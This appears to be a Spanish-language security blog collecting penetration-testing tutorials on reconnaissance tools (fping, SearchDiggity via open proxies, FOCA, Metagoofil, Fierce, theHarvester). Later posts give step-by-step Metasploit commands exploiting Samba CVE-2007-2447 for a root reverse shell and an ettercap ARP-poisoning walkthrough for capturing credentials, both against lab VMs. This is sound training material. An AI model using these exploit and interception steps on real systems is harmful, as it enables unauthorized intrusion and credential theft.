blog

La página de Folletos IT proporcionada por FFIEC (Federal Financial Institutions Examination Council), contiene una categoría sobre Seguridad de la Información. En el capítulo orientado a la Vigilancia de la Seguridad, existe una subsección sobre vigilancia de condiciones, la cual expone información importante sobre las Pruebas Independientes.

Pruebas Independientes

Las pruebas independiente incluyen pruebas de penetración, auditorías, y evaluaciones. Las pruebas independientes proporcionan credibilidad a los resultados de las pruebas. Para ser considerado independiente, el personal de pruebas no debe ser responsable del diseño, instalación, mantenimiento, y operación de los sistemas a ser probados, o las políticas y procedimientos que guían esta operación. Los reportes generados desde las pruebas deben ser preparados por individuos quienes son también independientes del diseño, instalación, mantenimiento, y operación de los sistemas evaluados.

Las pruebas de penetración, auditorías, y evaluaciones pueden utilizar el mismo conjunto de herramientas en sus metodologías. La naturaleza de las pruebas, sin embargo, es decididamente diferente. Adicionalmente, las definiciones de pruebas de penetración y evaluaciones, en particular, no son aceptados universalmente y han cambiado con el tiempo.

Pruebas de Penetración: Una prueba de penetración sujeta a un sistema a ataques seleccionados del mundo real y es realizado por el personal de pruebas. El beneficio de una prueba de penetración es que define la extensión en el cual un sistema puede ser comprometido antes de que sea identificado el ataque, y evalúa la efectividad en los mecanismos de respuesta. Debido a que una prueba de penetración es rara vez un prueba completa de la seguridad de los sistemas, esta debe ser combinada con otros tipos de vigilancia para validar la efectividad del proceso de seguridad.

Auditorías: Auditar compara las prácticas actuales contra un conjunto de estándares. Los grupos de la industria o instituciones de gestión crean estos estándares. Una institución de gestión es responsable de demostrar que los estándares que adopta son apropiados para la institución.

Evaluaciones: Una evaluación es un estudio para localizar vulnerabilidades de seguridad e identificar acciones correctivas. Un evaluación difiere de un auditoría en que no tiene un conjunto de estándares contra las cuales probar. Esta difiere de una prueba de penetración por proporcionar acceso al sistema que está siendo probado. Las evaluaciones se enfocan en el proceso de seguridad o sistema de información. También se enfocan en los diferentes aspectos del sistema de información, como uno o más hosts o redes.

Fuentes:

http://ithandbook.ffiec.gov/it-booklets/information-security/security-m…

Ping es un tipo especial de paquete de red denominado ICMP (Internet Control Message Protocol). El funcionamiento de Ping implica enviar un tipo de tráfico de red particular, denominado un paquete “ICMP Echo Request”, hacia una interfaz específica en una computadora o dispositivos de red. Si no hay inconveniente en la recepción o procesamiento de este paquete, la máquina receptora responderá a la máquina origen con un paquete “ICMP Echo reply”.

Los barridos con Ping son una serie de pings automáticamente enviados a un rango de direcciones IP, en lugar de ingresar individualmente cada dirección objetivo.

fping

fping es un programa como ping el cual utiliza paquetes ICMP Echo Request para determinar si un objetivo responde. fping difiere de ping en la especificación de cualquier número de objetivos en la línea de comando, o especificar un archivo conteniendo una lista de objetivos a los cuales hacer ping. En lugar de enviar hacía un solo objetivo hasta esperar que venza el tiempo o responda, fping enviará un paquete ping y se moverá al siguiente objetivo en un modelo “round-robin”. En su modo por defecto, si un objetivo responde, este se anota y retira de la lista de objetivos a verificar; si el objetivo no responde dentro de un cierto tiempo límite y/o reintento limite se le designa como inalcanzable. fping también permite enviar un número específico de pings hacia un objetivo, o realizar un bucle indefinidamente (como en ping). A diferencia de ping, fping puede ser utilizado en scripts, pues su salida está diseñada para ser fácil de interpretar.

Para la siguiente práctica se utilizará la versión más reciente de fping, la cual se ha descargado desde el sitio web oficial del proyecto. Se procede a descomprimir el archivo, para luego proceder con su compilación.

# wget http://fping.org/dist/fping-3.10.tar.gz
# tar xzvf fping-3.10.tar.gz
# cd fping-3.10/
# ./configure
# make
# make install

Se ejecuta fping para realizar un barrido con pings. La opción “-a” muestra los sistemas en funcionamiento o vivos. La opción “-g” genera una lista desde la mascara de red IP proporcionada, o un IP de inicio y finalización. Si se define una red con mascara de red, las direcciones de red y broadcast serán excluidas.

# fping -a -g 192.168.0.0/24 > /tmp/hosts

Los hosts u objetivos de evaluación en funcionamiento residirán en el archivo “/tmp/hosts”.
# cat /tmp/hosts

Para no mostrar los mensajes de error ICMP, se puede utilizar la opción “-q”

# fping -a -q -g 192.168.0.0/24 > /tmp/hosts

Estas direcciones IP serán añadidas a la lista de objetivos para su posterior evaluación. Es importante mencionar que no todos los objetivos en funcionamiento responderán a peticiones ping, algunos pueden tener un firewall u otro mecanismo bloqueando los paquetes ping.

Fuentes:

http://fping.org/
http://fping.org/fping.1.html
http://tools.ietf.org/html/rfc792
http://en.wikipedia.org/wiki/Round-robin_scheduling

Algunas veces, la mejor defensa es una buena ofensiva. Las herramientas de ataque de Bishop Fox nivelan el campo de juego permitiendo a los clientes encontrar divulgación de información y vulnerabilidades expuestas antes de que otros lo hagan. Este arsenal de herramientas de ataque se benefician de Google, Bing y otros motores de búsqueda populares.

SearchDiggity permite realizar “Google y Bing” Hacking a través de una lista de proxys abiertos, para prevenir el bloqueo por los mecanismos de detección de bots.

En Internet existen varios sitios web que proporcionan listados de proxys. Para la presente práctica se ha procedido a guardar la página html de uno de estos sitios web, para luego aplicar unos sencillos comandos en GNU/Linux, y obtener un listado de proxys en un formato adecuado.

$ grep -i IPDecode proxys.html | cut -d ">" -f 5,7 | sed 's/\/td>/:/g' | sed 's/\/td//g' > /tmp/listaproxytmp
$ grep -iv script /tmp/listaproxytmp > /tmp/listaproxys1.txt

Se ejecuta Search Diggity, para luego hacer clic en la pestaña de nombre “Google”.

Para configurar la lista de proxys hacer clic en la opción “Proxies”, para luego retirar el check en la opción “Auto”.

Se muestran nuevas opciones para agregar manualmente los proxys o importarlos desde un archivo. Para la presente práctica se importará la lista de proxys desde un archivo..

Hacer clic en el botón de nombre “Import” o Importar. Luego de lo cual se presentará una nueva ventana para seleccionar el archivo pertinente.

Luego de seleccionar el archivo, los proxys importados serán expuestos en el panel superior derecho.

En el panel inferior izquierdo es factible seleccionar una gran cantidad y diversidad de "dorks" o búsquedas a realizar utilizando Google.

Para definir el objetivo de evaluación, escribir el dominio objetivo en el recuadro ubicado a lado derecho del botón de nombre “Add” o Añadir, en la opción “Sites/Domains/IP Ranges” o Sitios/Dominios/Rangos de IPs.

Además de ingresar los objetivos de evaluación manualmente, también es factible importar una lista de objetivos desde un archivo.

Para iniciar el escaneo hacer clic en el botón de nombre “SCAN” o ESCANEAR. El procedimiento y sus resultados serán expuestos en el panel inferior.

Search Diggity es una herramienta con diversas funcionalidades. Un buen punto de inicio para conocer sus capacidades es la ayuda que proporciona la herramienta, la cual puede ser accedida mediante la opción “Help -> Contents” o Ayuda -> Contenidos.

Fuentes:

http://www.reydes.com/d/?q=Instalacion_de_SearchDiggity
http://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-…
http://www.freeproxylists.net/
http://en.wikipedia.org/wiki/Google_hacking
http://www.hackersforcharity.org/ghdb/
http://www.exploit-db.com/google-dorks/

FOCA (Fingerprinting Organizations with Collected Archives), o por su traducción al idioma español "Obtener la Huella de Organizaciones con Archivos Capturados", es una herramienta utilizada para encontrar metadatos e información oculta dentro de los documentos examinados. Si estos documentos residen en sitios web, FOCA los descargará y analizará.

FOCA puede analizar una amplio espectro de tipos de archivos, desde los típicos archivos de Microsoft Office, Open Office y archivos PDF, entre otros. Se buscan estos documentos utilizando buscadores como Google, Bing o Exalead. El utilizar tres buscadores permite obtener una gran cantidad de documentos. También es factible añadir archivos locales para extraer por ejemplo información EXIF desde archivos de imágenes

Con todos los datos extraídos desde los archivos, FOCA reunirá la información tratando de reconocer los documentos creados desde el mismo equipo, y cuales son los servidores y clientes factibles de ser inferidos a partir de ellos.

Se procede a descargar y descomprimir en una carpeta el archivo descargado desde el sitio web oficial. Luego de la descompresión, sugiero la lectura del archivo de nombre “README.txt”, donde se expone la siguiente información.

Esta es una versión portátil de FOCA. La cual buscará por servidores, dominios, URLs, y documentos públicos, para luego exponer la información descubierta en un árbol de red. También buscará por fuga de datos como metadatos, listado de directorios, métodos HTTP inseguros, listados o archivos .DS_Store, cache activo en servidores DNS, etc.

El archivo ejecutable de FOCA se localiza en “/bin/FOCA.exe”. Además se pueden encontrar en la carpeta de nombre “/plugins/” plugins de diverso propósito.

Se ejecuta FOCA.

Se crea un proyecto haciendo clic en la opción “Project -> New Project” o “Proyecto -> Nuevo Proyecto”.

Completar los datos solicitados como Nombre del Proyecto, Dominio del Sitio Web, Dominios Alternativos, Carpeta donde se guardarán los documentos, Fecha del Proyecto y Notas del Proyecto. Luego de lo cual hacer clic en el botón de nombre “Create” o “Crear”.

Indicar la carpeta donde se guardará el archivo del proyecto.

Se seleccionan los tres buscadores disponibles en FOCA, Google, Bing y Exalead, además de seleccionar toda las extensiones de los archivos disponibles. Luego de lo cual se hace clic en el botón de nombre “Search All” o “Buscar Todo”.

FOCA inicia el procedimiento, y los resultados son expuestos en el panel superior derecho.

Se procede a descargar todos los archivos encontrados por FOCA, haciendo clic derecho y luego seleccionando la opción “Download All” o “Descargar Todo”.

Todos los archivos han sido descargados correctamente.

Para extraer los metadatos desde los archivos recientemente descargados, hacer clic derecho y luego seleccionar la opción “Extract All Metadata” o "Extraer Todos los Metadatos".

Finalizada la extracción de los metadatos, es factible utilizar el panel ubicado en lado superior izquierdo para visualizar un Resumen de los Metatados.

Listado de Usuarios. Esta información resulta útil para tratar de obtener acceso al sistema mediante el uso de credenciales válidas, o para realizar ataques por fuerza bruta contra algún servicio disponible en el objetivo de evaluación.

Software encontrado. Esta información es útil para conocer las aplicaciones y versiones de software utilizados en la organización objetivo. Con esta información se pueden lanzar ataques dirigidos contra diversas aplicaciones instaladas en las computadoras, y de esta maenra explotar por ejemplo una vulnerabilidad en Microsoft Office 2007 que permita tener control de la computadora.

Sistemas Operativos. Información útil para conocer los tipos y versiones de Sistemas Operativos utilizados en la organización. Con esta información también se pueden lanzar ataques para explotar vulnerabilidades a nivel del Sistema Operativo y tener algún tipo de control sobre la computadora.

Es factible analizar los metadatos contenidos en un archivo en particular haciendo clic sobre el tipo de documento (.doc, .docx, .pdf, etc.), para luego seleccionar el archivo requerido. Los Metadatos se detallarán en el panel superior derecho.

Más Información:

https://www.elevenpaths.com/es/labs-herramientas-foca.html
http://www.forensicswiki.org/wiki/Metadata
http://www.exalead.com

SearchDiggity 3.1 es la principal herramienta de ataque del Proyecto Google Hacking Diggity. Es una aplicación con GUI (Graphical User Interface) o Interfaz Gráfica de Usuario que sirve como una delantera para las más recientes versiones de las herramientas Diggity: GoogleDiggity, BingDiggity, Bing LinkFromDomainDiggity, CodeSearchDiggity, DLPDiggity, FlashDiggity, MalwareDiggity, PortScanDiggity, SHODANDiggity, BingBinaryMalwareSearch, y NotInMyBackYard Diggity.

Se procede a realizar la instalación de SearchDiggity en un Sistema Windows 7. Se requiere tener Microsoft .NET Framework v4.

Descargado el archivo, se descomprime y se ejecuta el archivo de nombre setup.exe. Se presenta una ventana donde se consulta aceptar o no el acuerdo de licencia. Se hace clic en el botón de nombre “Accept”.

Se procede a descargar los archivos requeridos.

Finaliza la descarga se inicia la instalación de Microsoft Visual Studio 2010 Tools for Office Runtime (x86 y x64).

Se presenta una ventana del instalador que guiará a través de los pasos requeridos para instalar SearchDiggity en la computadora.

Seleccionar la carpeta de instalación. Se mantiene la sugerida por el instalador, para luego hacer clic en el botón de nombre “Next >”.

El instalador está listo para instalar SearchDiggity en la computadora. Hacer clic en el botón de nombre “Next >”.

La instalación se ha completado y SearchDiggity se ha instalado satisfactoriamente . Hacer clic en el botón de nombre “Close” para salir.

Para iniciar SearchDiggity hacer clic en el ícono creado en el escritorio y ubicado en el menú de inicio.

En una próxima publicación se expondrá la utilización de SearchDiggity con el desarrollo de ejemplos prácticos.

Fuentes:

http://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-…

Metagoofil es una herramienta para acopiar información, diseñada para extraer metadatos de documentos públicos (pdf, doc, xls, ppt, docx, pptx, xlsx) pertenecientes a una empresa objetivo.

La herramienta realizará una búsqueda en Google para identificar y descargar documentos al disco local para luego extraer los metadatos con diferentes librerías como Hachoir, PdfMiner y otros. Con los resultados generará un reporte con nombres de usuarios, versiones de sofware y nombres de servidores o máquinas que ayudará en la fase de acopio de información durante una Prueba de Penetración.

Metadatos

Los metadatos se definen como “datos sobre datos”. Cuando se crea un documento utilizando un programa como Microsoft Word se crean y almacenan datos adicionales dentro del archivo. Estos datos frecuentemente incluyen piezas de información que describen el documento incluyendo el nombre del archivo, rutas, propietarios o nombre de usuario de la persona que lo creo. Este proceso se realiza de manera automática sin la interacción del usuario.

Para la siguiente práctica se procede a ejecutar la versión de metagoofil incluida en Kali Linux. La opción “-d” define el dominio a buscar. La opción “-t” es el tipo de archivo a descargar (pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx), para el caso de la presente práctica solo su descargarán archivos de extensión “doc”. La opción “-l” limita los resultados de búsqueda (por defecto es de 200). La opción “-o” permite definir un directorio de trabajo (la ubicación donde se guardarán los archivos descargados). Y la opción “-f” define un archivo de salida con los resultados.

# metagoofil -d [Dominio_Objetivo] -t doc -l 100 -n 20 -o /tmp/descargas1/ -f /tmp/resultadoec.html

Metagoofil inicia su labor encontrando y descargando los archivos pertinentes.

Finalizada la descarga de los archivos, procede a analizar y extraer los metadato. En primera instancia expone la lista de usuarios encontrados.

Luego expone la lista de software encontrado, la lista de rutas y servidores encontrados, y la lista de direcciones de correos electrónicos, que para este caso en particular no encontró ninguno.

Los resultados obtenidos también pueden ser visualizados utilizando un navegador como Iceweasel en Kali Linux.

Metagoofil también tiene la capacidad de analizar y extraer los metadatos de archivos previamente descargados en un directorio, utilizando la opción "-h".

Este tipo de información es muy útil para una Prueba de Penetración, dado que se obtienen nombres de usuarios, nombres de computadoras o servidores, rutas de red, recursos compartidos y otros datos relevantes; únicamente descargando archivos desde el servidor tal como lo haría cualquier visitante.

Fuentes:

https://code.google.com/p/metagoofil/
http://www.edge-security.com/metagoofil.php
https://bitbucket.org/haypo/hachoir/wiki/Home
https://github.com/euske/pdfminer
http://en.wikipedia.org/wiki/Metadata

Fierce Domain Scan nació debido a la frustración mientras se realizaba auditorías de seguridad contra aplicaciones web. Dado que solía ser muy lento descubrir grandes franjas de redes corporativas no continuas, pero esto no tiene porque ser así. Es terriblemente fácil ejecutar un escaner contra un rango de direcciones IP, pero si la presencia en la red de la web está distribuida entre diversos rangos, se pueden perder enormes trozos de la red. Fierce ayuda a resolver este inconveniente.

Para la siguiente práctica se utilizará la versión de Fierce v2.0 incluida en Kali Linux.

La manera más sencilla de ejecutar Fierce es utilizando la opción “-dns” seguida del dominio objetivo a escanear. Este puede ser un único dominio, varios dominios (separados por comas), o un archivo conteniendo un dominio por linea. La opción “-dnsservers” define un servidor DNS en particular para realizar las consultas, se puede definir también varios servidores o un archivo conteniendo una lista de servidores DNS. La opción “-format” define el formato del archivo conteniendo los resultados, y la opción “-output” define el nombre archivo donde se guardarán los resultados obtenidos por Fierce.

# fierce2 -dns [Dominio Objetivo] -dnsservers [DNS Objetivo] -format html -output /tmp/resultadouy.html

Fierce utiliza varias técnicas para identificar potenciales objetivos para la Prueba de Penetración. Estas pruebas son en principio pasivas por naturaleza; dado que no tendrán ningún impacto negativo, pues la mayoría técnicas incluyen consultas DNS y búsquedas ARIN no intrusivas.

Enumerar los servidores de nombres

Cuando Fierce inicia un escaneo contra un dominio, primero resuelve el dominio a direcciones IP. Luego continua con la identificación de los servidores de nombres primario, secundario, o adicionales. Estas peticiones son conocidas como “peticiones NS” el cual es una abreviatura para “servidores de nombres”. Estos servidores pueden contener información adicional sobre el objetivo que no está disponible a través de servidores DNS públicos, así una vez identificados los servidores de nombres por Fierce para un dominio objetivo, usará estos servidores para todas las peticiones DNS futuras.

ARIN

Una de las nuevas características en Fierce 2.0 es el módulo ARIN. Cuando es utilizado, Fierce 2.0 realizará primero una búsqueda ARIN del dominio. El resultado de esta consulta contendrá varios manejadores de red. Cada uno de estos son luego consultados para obtener más detalles sobre los rangos que son propiedad del dominio en evaluación.

Transferencia de Zona

Fierce aprovecha una técnica clásica de reconocimiento pasivo para identificar información desde los servidores de nombres para un dominio objetivo. Intentará una “petición AXFR” contra cada servidor de nombres. Si una de estas peticiones es satisfactoria, Fierce continuará realizando peticiones AXFR contra todos los servidores de nombres, dado que los servidores DNS algunas veces se configuran de manera diferente. No es improbable para una organización exponer direcciones IP internas (RFC 1918) a través de estos archivos de zona, lo cual puede ser muy útil en la determinación de hosts objetivos una vez que el atacante gana acceso interno. Usualmente no existe razón para que una organización tenga habilitado permanentemente la transferencia de zona. Por lo tanto, se recomienda deshabilitarla en todos los servidores de nombres.

Registros DNS Comodín

La siguiente técnica que Fierce utiliza para identificar direcciones IP para un dominio objetivo es verificar por registros DNS Comodín. Este es un paso importante, si la organización tiene un comodín puesto que puede afectar el resto de la prueba. Por ejemplo, algunas organizaciones configuran los servidores DNS para resolver cualquier subdominio hacia una dirección IP específica. Si este es el caso, el analista debe tener en mente que cualquier nombre de host resolverá a esta dirección IP, esto probablemente debido al uso del comodín, no debido a la validez del nombre del host. El analista debe considerar esto cuando se realiza el reconocimiento de la red, personalizando las pruebas para identificar objetivos adicionales y prevenir falsos positivos.

Fuerza Bruta de Prefijos

La Fuera Bruta de Prefijos es una técnica utilizada para localizar nombres de host que resuelven hacia una dirección IP. Fierce intenta técnicas avanzadas para realizar fuerza bruta de prefijos, ademas de intentar resolver prefijos comunes como (www, mail, test). Fierce intentará añadir dígitos desde el 1 hasta al 5 al final de cada prefijo para identificar sistemas adicionales asociados con este prefijo.

Adicionalmente Fierce realiza búsquedas para enumerar todos los registros MX para un dominio. Tiene la habilidad de realizar búsquedas Whois contra las direcciones de un dominio. Fierce también realiza búsquedas para todos los nombres de host que han sido identificados durante la fuerza bruta de prefijos. Y adicionalmente identifica sistemas que pueden ser controlados por el mismo dominio, mediante búsquedas IP sobre otras direcciones dentro del bloque de clase C que ha sido identificado.

El archivo creado donde residen los resultados obtenidos por Fierce, puede ser visualizado utilizando un navegador como IceWeasel en Kali Linux.

Fuentes:

http://trac.assembla.com/fierce
http://trac.assembla.com/fierce/wiki/Techniques
http://en.wikipedia.org/wiki/DNS_zone_transfer
http://www.ietf.org/rfc/rfc1035.txt
http://tools.ietf.org/html/rfc1918

El objetivo de este programa es obtener direcciones de correos electrónicos, subdominios, nombres de empleados, puertos abiertos y banners desde diferentes fuentes públicas como motores de búsqueda, servidores de llaves PGP, y la base de datos de computadoras SHODAN.

La intención de esta herramienta es ayudar a las personas que realizan Pruebas de Penetración en las primeras fases de esta labor, para entender las marcas o huellas del cliente en Internet. También es útil para cualquiera que desee conocer lo que un atacante puede ver sobre su organización.

Las nuevas características de la herramienta son las siguientes:

• Un retraso de tiempo entre peticiones
• Búsqueda en todas las fuentes
• Verificador de host virtual
• Enumeración activa (Enumeración DNS, consultas reversas, expansión TLD)
• Integración con la bases de datos de computadoras SHODAN, para obtener puertos abiertos y banners.
• Guardar a XML y HTML
• Gráfico básico con estadísticas
• Nuevas fuentes

Para la siguiente prácticas se utilizará la versión de The Harvester incluida en Kali Linux.

# theharvester -d [Dominio_Objetivo] -l 50 -b google

La opción “-d” permite definir el dominio a buscar o nombre de la empresa. La opción “-l” limita el número de resultados con el cual trabajar (bing va de 50 en 50 resultados). La opción “-b” define la fuente de datos (google, bing, bingapi, pgp, linkedin, google-profiles, people123, jigsaw, all).

La primera parte de los resultados con The Harvester expone un listado de las direcciones de correo electrónicos obtenidos desde Google.

La segunda parte de los resultados expone un listado de subdominios obtenidos desde Google.

Para la siguiente práctica se utiliza la opción “-f” la cual guarda los resultados en un archivo HTML y XML. El archivo creado se visualiza con el navegador web Icewiesel en Kali Linux

# theharvester -d [Dominio_Objetivo] -l 50 -b bing -f /tmp/resultadocr.html

Es común pensar que la exposición de direcciones de correos electrónicos no implica un riesgo. Si un atacante descubre direcciones de correos electrónicos asignados a los empleados de una organización, este puede crear posibles nombres de usuarios de la red, dado que no es improbable la utilización de este mismo nombre de usuario para la creación de la dirección de correo electrónico. Estos nombres de usuario son utilizados para realizar ataques por fuerza bruta contra cualquier servicio como, FTP, SSH, VPN, etc.

The Harvester es muy efectivo para capturar direcciones de correo electrónico, pero también para capturar u obtener subdominios. Estos nuevos subdominios encontrados podrían ser incluidos dentro de la Prueba de Penetración, si el alcance de la evaluación lo permite, contra los cuales se realizaría un nuevo proceso de reconocimiento.

Fuentes:

https://code.google.com/p/theharvester/

La funcionalidad MS-RPC (Micrososft Remote Procedure Call) en el demonio servidor smbd; el cual proporciona servicios para compartir archivos e impresión a clientes Windows; de Samba desde la versión 3.0.0 hasta la versión 3.0.25rc3 permite a los atacantes remotos la ejecución de comandos arbitrarios mediante metacaracteres shell involucrando la función SamrChangePassword, cuando la opción “username map script” está habilitada en el archivo smb.conf, y permite a los usuarios remotos autenticados ejecutar comandos mediante metacaracteres shell involucrando funciones MS-RPC en la gestión de la impresora remota y archivos compartidos.

Para la siguiente práctica se utilizará Metasploitable2 como objetivo de evaluación y Kali Linux.

Se utiliza el NSE de nombre “smb-os-discovery” de la herramienta nmap, la cual intenta determinar el sistema operativo, nombre de la computadora, grupo de trabajo, y tiempo actual sobre el protocolo SMB (Server Message Block) en los puertos 445 o 139. Esto se realiza iniciando una sesión con la cuenta anónima (o con una cuenta de usuario si es proporcionada, probablemente no haya diferencia); en respuesta a un inicio de sesión, el servidor devolverá toda esta información.

# nmap -n -Pn --script smb-os-discovery 192.168.0.16

La versión de Samba en el objetivo de evaluación está dentro del rango de versiones vulnerables. En consecuencia, existen altas probabilidades de realizar una explotación satisfactoria.

Ejecutar Metasploit Framework.

# /etc/init.d/postgresql start
# msfconsole

Buscar el modulo de nombre "usermap_script" utilizado el comando “search” en Metasploit Framework.

> search usermap_script

Se le indica a Metasploit Framework la utilización de este módulo utilizando el comando “use”. Para luego obtener la información de este usando el comando “info”.

> use exploit/multi/samba/usermap_script
> info

Se visualizan las opciones del módulo "usermap_script". Y se procede a definir la dirección IP del objetivo de evaluación en la variable “RHOST” utilizando el comando “set”.

> show options
> set RHOST 192.168.0.16

Se define el Payload a utilizar con el exploit. Para el caso de la presente práctica será el Payload de nombre “cmd/unix/reverse”. Luego de lo cual se muestran las opciones para el exploit y el Payload.

> show payloads
> set payload cmd/unix/reverse
> show options

El Payload requiere la definición de la variable de nombre “LHOST” con la dirección IP local, es decir asignada a Kali Linux, dado que se trata de un payload reverso. Luego de lo cual se ejecuta el exploit utilizando el comando “exploit”.

> set LHOST 192.168.0.12
> exploit

El exploit se ha ejecutado exitosamente, y se tiene acceso shell en modo linea de comandos con privilegios del usuario "root" en el objetivo de evaluación.

Fuentes:

http://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script
http://cvedetails.com/cve/2007-2447
http://www.osvdb.org/34700
http://en.wikipedia.org/wiki/Microsoft_RPC
http://www.samba.org/samba/docs/man/manpages/smbd.8.html
http://www.sal.ksu.edu/faculty/tim/unix_sg/shell/metachar.html
http://nmap.org/nsedoc/scripts/smb-os-discovery.html

Un Ataque de Hombre en el Medio o abreviado con MITM es una forma de realizar una escucha a escondidas en el cual un atacante realizan conexiones independientes con las víctimas y se retransmiten los mensajes entre ellos, haciéndolos creer que están hablando directamente el uno con el otro sobre una conexión privada, cuando en realidad la conversación completa es controlada por un atacante. El atacante debe ser capaz de husmear todos los mensajes pasando entre las dos víctimas e inyectar algunos nuevos, lo cual es sencillo en mucha circunstancias.

ettercap

Ettercap en una suite completa para realizar ataques de hombre en el medio. Permite interceptar conexiones en vivo, filtrar contenido al vuelo y varios otros trucos interesantes. Soporta disección activa y pasiva de varios protocolos e incluye diversas características para el análisis de red y host.

Ettercap generará un ataque “ARP Spoofing” la cual es una técnica donde un atacante envía mensajes ARP (Address Resolution Protocol) “Spoofed” o falsos en una Red Local Interna. Generalmente, la intención es asociar la dirección MAC del atacante con la dirección IP de otro host (como el gateway o pasarela por defecto), causando que cualquier tráfico destinado para esta dirección IP sea en su lugar enviada hacia el atacante. Este ataque es utilizado como un comienzo para un ataque MITM o de Hombre En el Medio.

Para la siguiente práctica se utilizarán tres máquinas virtuales, la máquina desde donde se realizará el ataque será Kali Linux y los objetivos de evaluación o “victimas” serán Metasploitable 2 y Windows 7.

Ejecutar ettercap

# ettercap -G

Clic en la opción “Sniff -> Unified Sniffing” ubicado en el menú superior.

Proceder a seleccionar la Interfaz. Para el caso de la presente práctica corresponde a “eth0”.

En la ventana inferior de ettercap se presentará la información pertinente sobre la acción realizada.

Añadir a la lista de hosts, los objetivos contra los cuales se realizará el “ARP Spoofing”. Para ello se procede a hacer clic en la opción “Hosts -> Scan for Host”.

Seleccionar la opción “Host -> Host List”. Ante lo cual se presentará una nueva pestaña con el listado de los Hosts.

Del listado de Hosts presentado seleccionar la dirección IP de Metasploitable2 y definirla como objetivo 1 haciendo clic en el botón “Add to Target 1”. Seleccionar también la dirección IP de Windows 7 y definirla como objetivo 2 haciendo clic en el botón “Add to Target 2”.

Hacer clic en “Mitm -> Arp poisoning...”

Se apertura una ventana donde se debe seleccionar la opción “Sniff remote connections.” o husmear conexiones remotas.

Hacer clic en la opción “Start -> Start sniffing” o Empezar a Husmear.

El ataque ha iniciado. Para verificar esto se isualiza la dirección MAC asignada a Kali Linux.

En Windows 7 notar que la dirección MAC asignada a Kali Linux, es la misma dirección MAC relacionada con la dirección IP 192.168.0.16 asignada a Metasploitable2.

En Metasploitable2 notar que la dirección MAC asignada a Kali Linux, es la misma dirección MAC relacionada con la dirección IP 192.168.0.15 asignada a Windows 7.

Si se realiza una conexión desde Windows 7 hacia Metasploitable2, datos como nombres de usuarios y contraseñas serán factibles de ser capturadas desde Kali Linux, sin que la victima tenga conocimiento de esto. Si las credenciales son válidas los datos seguirán fluyendo con normalidad.

Fuentes:

http://ettercap.github.io/ettercap/
http://en.wikipedia.org/wiki/Man-in-the-middle_attack
http://en.wikipedia.org/wiki/ARP_spoofing
http://www.kali.org/downloads/
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
http://www.thegeekstuff.com/2012/05/ettercap-tutorial/